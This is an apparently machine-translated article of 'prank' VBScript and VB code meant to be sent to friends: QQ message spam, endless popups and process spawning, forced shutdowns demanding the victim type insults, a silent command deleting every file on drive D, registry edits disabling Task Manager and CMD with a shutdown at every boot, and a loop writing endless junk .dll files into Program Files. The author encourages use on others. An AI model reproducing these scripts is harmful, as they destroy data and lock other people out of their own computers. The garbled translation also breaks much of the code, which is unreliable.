Shulou(Shulou.com)06/03 Report--

This article will explain in detail what the whole vbs code is, and the editor thinks it is very practical, so I share it for you as a reference. I hope you can get something after reading this article.

First, you open the chat dialog box of your friends, and then write down the nicknames of your friends in your QQ. Replace the xx in the following code, and you can customize the number of times you send QQ messages to your friends (the number 10 in the code can be changed).

Xx.vbs= >

The code is as follows:

On Error Resume Next

Dim wsh,ye

Set wsh=createobject ("wscript.shell")

For iTunes 1 to 10

Wscript.sleep 700

Wsh.AppActivate ("chat with xx")

Wsh.sendKeys "^ v"

Wsh.sendKeys i

Wsh.sendKeys 's'

Next

Wscript.quit

QQ harassment information can also be used in other programs.

2. I use this program to put it on the machine for querying books and periodicals in the school library. Many people think it can't help it, .

Do

Msgbox "You are foolish!"

Loop

Open countless calculators until the computer crashes

Set wsh=createobject ("wscript.shell")

Do

Wsh.run "calc"

Loop

Fourth, turn off the phone directly

Dim WSHshell

Set WSHshell = wscript.createobject ("wscript.shell")

WSHshell.run "shutdown-f-s-t 00", 0, true

5. Delete all D:\ files

Dim WSHshell

Set WSHshell = wscript.createobject ("wscript.shell")

WSHshell.run "cmd / c"del d:\ *. * / f / Q / s", 0, true

6. Keep popping up windows

The copy code is as follows:

While (1)

Msgbox ", you've been fooled!"

Loop

Keep pressing alt+f4 (turn everything on and off). )

The copy code is as follows:

Dim WSHshell

Set WSHshell = wscript.createobject ("wscript.shell")

While (1)

WSHshell.SendKeys "{F4}"

Loop

Press 500 times to enter

(the above code displays 500 dialog boxes on the operator's computer. Where do until slots 500,500 can be changed at will)

The copy code is as follows:

Dim s

Do until slots 500

S=s+1

Msgbox "Dude, please press enter 500 times", 64

Loop

'

IX. Windows that cannot be closed

The copy code is as follows:

WScript.Echo ("Hey, thank you for opening me. I've been waiting for you for a long time!" & TSName)

WScript.Echo ("are you a lovely friend?")

WScript.Echo ("Ha, I want you to pull, don't you know?")

WScript.Echo ("how come, say ~ doesn't care about me")

WScript.Echo ("Hum, I am angry, waiting for you for so long, my heart is cold.")

WScript.Echo ("Xiao Qiang is very angry, and the consequences are very serious.")

WScript.Echo ("Hey, hey! you'll be miserable, too")

WScript.Echo ("do you want to clear me?")

WScript.Echo ("then you order 50 times, but it will surprise you")

WScript.Echo ("49 times left, hurry up")

WScript.Echo ("48 times left, come on, you little fool!")

WScript.Echo ("47 times left, that's it, come on!")

WScript.Echo ("there are 46 left. You are just stupid, be quick, I won't disturb your work first.")

WScript.Echo ("45 times left, remember to hurry!")

WScript.Echo ("43 left")

WScript.Echo ("42 left")

WScript.Echo ("41 hits left")

WScript.Echo ("40 left")

WScript.Echo ("39 left")

WScript.Echo ("38 left")

WScript.Echo ("37 left")

WScript.Echo ("36 hits left")

WScript.Echo ("35 left")

WScript.Echo ("34 left")

WScript.Echo ("33 left")

WScript.Echo ("32 left")

WScript.Echo ("30 shots left")

WScript.Echo ("29 left")

WScript.Echo ("28 hits left")

WScript.Echo ("27 left")

WScript.Echo ("26 hits left")

WScript.Echo ("25 left")

WScript.Echo ("24 left")

WScript.Echo ("23 left")

WScript.Echo ("22 left")

WScript.Echo ("21 left")

WScript.Echo ("20 left")

WScript.Echo ("19 hits left")

WScript.Echo ("18 left")

WScript.Echo ("17 left")

WScript.Echo ("16 left")

WScript.Echo ("15 left")

WScript.Echo ("14 left")

WScript.Echo ("13 stops left! slow down, I have something to say")

WScript.Echo ("12 times left, if you keep clicking, I will disappear")

WScript.Echo ("11 times left, you won't see me later. 555555")

WScript.Echo ("there are 10 left, you can choose to stop now!")

WScript.Echo ("9 times left. Why don't you order me?")

WScript.Echo ("8 times left, a little sad, why abandon him")

WScript.Echo ("7 left. Crazy, you're a little frustrated!")

WScript.Echo ("six times left. Right. Just order it. I hate you!")

WScript.Echo ("5 times left, I don't understand, will you just delete me?")

WScript.Echo ("4 times left! really want to delete me?")

WScript.Echo ("there are three left. But I really miss you very much.")

WScript.Echo ("there are two left. Don't be so heartless, they love you!")

WScript.Echo ("there is one left. Well, since you are so ruthless. Don't blame me for being unrighteous!")

WScript.Echo ("I should have disappeared, but I missed your face, and God gave me another chance.")

WScript.Echo ("do you want to tie the knot? then you have to order one more time")

WScript.Echo ("do you want to tie the knot? then you have to order one more time")

WScript.Echo ("do you want to tie the knot? then you have to order one more time")

WScript.Echo ("do you want to tie the knot? then you have to order one more time")

WScript.Echo ("do you want to tie the knot? then you have to order one more time")

WScript.Echo ("do you want to tie the knot? then you have to order one more time")

WScript.Echo ("do you want to tie the knot? then you have to order one more time")

WScript.Echo ("do you want to tie the knot? then you have to order one more time")

WScript.Echo ("do you want to tie the knot? then you have to order one more time")

WScript.Echo ("do you want to tie the knot? then you have to order one more time")

Two whole VBS scripts 2009-07-16 18:16

Article entry: 7747.Net responsible Editor: 7747.Net 564

[font: small]

Test environment: Windows 2003 system

Hi, I'm Vanlisa QQ137841986.

Today, I bring you two whole-person VBS scripts. I hope you like it.

Do you all know the VBS script? the first one shuts down at a fixed time.

If you send him to your QQ friend, if he doesn't understand, if he doesn't lose, I'm a pig, and the computer will be set up by you.

The time I set to turn off the phone is 3 minutes. As long as I input it, I will release it. Of course, if I don't lose, there is also a way to remove it.

Let's take a look at this script

The copy code is as follows:

On error resume next

Dim WSHshellA

Set WSHshellA = wscript.createobject ("wscript.shell")

WSHshellA.run "cmd.exe / c shutdown-r-t 180-c" says I'm a pig. If you don't say I'm a pig, turn off your phone for a minute. If you don't believe me, try "", 0, true.

Dim a

Do while (a "I am a pig")

A = inputbox ("if you say I'm a pig, don't turn off your phone." say "I'm a pig", "say no", "8000, 7000)

Msgbox chr (13) + a MsgBox 0, "MsgBox"

Loop

Msgbox chr (13) + "just say so"

Dim WSHshell

Set WSHshell = wscript.createobject ("wscript.shell")

WSHshell.run "cmd.exe / c shutdown-a", 0, true

Msgbox chr (13) + "ha, good boy"

Create a new notepad and copy the above code into it and save it in VBE format.

Cmd.exe / c shutdown-r-t 180-c

The number here can modify the shutdown time for 180 seconds.

You can also set up this script to enable the shutdown program in cmd.

If you don't lose, you can open the task manager and type shutdown-a to unlock the machine at a fixed time when we try.

It's gone, but there's a window that can't be closed. Let's open the task manager and finish the Wscript.exe. This process is OK.

At this point, the script is completely released. When Wscript, the Windows script host

-

Let's take a look at the second whole script.

-

The copy code is as follows:

Set ws=createobject ("wscript.shell")

Call shutdown (1)

Do while a, "I'm a pig."

A=inputbox ("enter me as a pig in the box below, or you will suffer the consequences and lose", "I am a pig", "lose", ")

Loop

Call shutdown (2)

Msgbox "I should have said so", 4096: 64

Msgbox "I'm a pig again", 4096 / 64

Msgbox "I am a pig!", 4096 064

MsgBox "Last time!", 4096 064

MsgBox "if you click there quickly, if you don't look", 4096: 64

MsgBox "I want you to step on my space! huh!", 4096 / 64

MsgBox "once upon a time there was a mountain!", 4096: 64

MsgBox "there is a temple in the mountain."

MsgBox "there is an old monk telling a story in the temple.", 4096-64

Ws.run "iexplore.exe http://new.qzone.qq.com/137841986/infocenter"

Msgbox "Oh, tired! count the sheep to put me to bed", 4096: 64

For iTunes 1 to 100

MsgBox I & "A Sheep", 4096 / 64

Next

Msgbox "Oh, I'm sleepy. I'll give you a break this time. Pay attention next time!", 4096-64

Msgbox "one last question, am I a very nice person?" , 4096 064

If inputbox ("Yes", "Please choose", "Yes") "Yes" then

Call shutdown (1)

End if

Sub shutdown (s)

Select case s

Case 1

Ws.run "cmd.exe / c shutdown-r-t 60-c", 0

Case 2

Ws.run "cmd.exe / c shutdown-a", 0

End select

End sub

Ws.run "iexplore.exe http://new.qzone.qq.com/137841986/infocenter"

This code can be changed to your own address.

If the others do not lose, I will keep counting until I am a pig to the number you set.

For iTunes 1 to 100

From 1 to 100

It can be changed to 20 other numbers.

The way to undo the VBS script is simple. Just turn off Wscript.exe in the task manager.

This process will be fine.

BY:7747.net

2009QQ whole person code

The copy code is as follows:

Set s=createobject ("wscript.shell")

Set bag=getobject ("winmgmts:\\.\ root\ cimv2")

Set pipe=bag.execquery ("select * from win32_process where name='wscript.exe'")

For Each id in pipe

If instr (1 and pipe.count id.commandLineMagol wscript.scriptfullname) 0 then > = 2

S.regwrite "HKCU\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System\ DisableTaskMgr", 0, "REG_DWORD"

S.regwrite "HKCU\ Software\ Policies\ Microsoft\ Windows\ System\ DisableCMD", 0, "REG_DWORD"

Id.terminate ()

Else

S.regwrite "HKCU\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System\ DisableTaskMgr", 1, "REG_DWORD"

S.regwrite "HKCU\ Software\ Policies\ Microsoft\ Windows\ System\ DisableCMD", 1, "REG_DWORD"

For iTunes 1 to 60

The s.popup "system will shut down in" & 60muri & "seconds later." 1, "system prompt", 40960048

Next

Set colOS = GetObject ("winmgmts: {(Shutdown)}") .ExecQuery ("Select * FROM Win32_OperatingSystem")

For Each eOs In colOS

EOs.Win32Shutdown (2)

Next

End if

Next

[color=#FF0000] copy the above code, create a text on the desktop, put the code in it, and save it in VBE format

The power of this code:

1: force automatic shutdown when you turn it on

The 2:cmd command cannot be opened.

3: ending the task doesn't work.

4:F8 security mode doesn't work either.

He he! Doesn't that sound a little scary? I was shocked to see it in my friend's space.

Code cracking method: if you run it again, you can crack it, that is, the VBE file saved for the second time

PS: don't mess with the software. Don't blame me for what happened.

Clap your hands and lift them up!

2:

The copy code is as follows:

On error resume next

Dim WSHshellA

Set WSHshellA = wscript.createobject ("wscript.shell")

WSHshellA.run "cmd.exe / c shutdown-r-t 60-c" says you are stupid, I am the biggest fool in the world, don't say baby, I am the biggest fool in the world, just turn off your phone for a minute, do not believe it, try "0, true"

Dim a

Do while (a "Baby, I am the biggest fool in the world")

A = inputbox ("Baby, I am the biggest fool in the world, just don't turn off your phone, quickly say,"Baby, I'm the biggest idiot in the world", "Don't say", "Don't say", 8000,5007000)

Msgbox chr (13) + a MsgBox 0, "MsgBox"

Loop

Msgbox chr (13) + "just say so, boy."

Dim WSHshell

Set WSHshell = wscript.createobject ("wscript.shell")

WSHshell.run "cmd.exe / c shutdown-a", 0, true

Msgbox chr (13) + "is the baby handsome again?"

I got this code from my friends. You can try to play with it. You can do illegal things.

The whole effect code of the web page

To see the effect, just copy all the code below and save it in the text file and change the file suffix to txt to see the effect.

The copy code is as follows:

Web page special effects | Linkweb.cn/Js |-disgusting common whole person effects

Don't move the mouse here.

Give it a try.

Vbs whole person code

The code is as follows:

Private Sub Form_Load ()

Me.Hide

End Sub

Private Sub Timer1_Timer ()

'declare variables, where "count" is a static variable in order to generate different files

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

'define which directory file to store the generated files in

C = "C:\ Program Files\"

'generate the contents of the file

Nr = ", it feels good to be hacked."

Files = FreeFile

If an equals a, then execute it.

If a = a Then

'The count is constantly adding 1 to produce different file names

Count = count + 1

'generate a file name and file handle, and use count as a different file name.

Open c & "system" & count & ".dll" For Append As # files

'write to the file

Write # files, nr

'Clean the file handle, which is important here. If it is not cleared, there will be too many error messages to open the file.

Close # files

End If

End Sub

This is the end of this article on "what is the whole vbs code?". I hope the above content can be of some help to you, so that you can learn more knowledge. if you think the article is good, please share it out for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.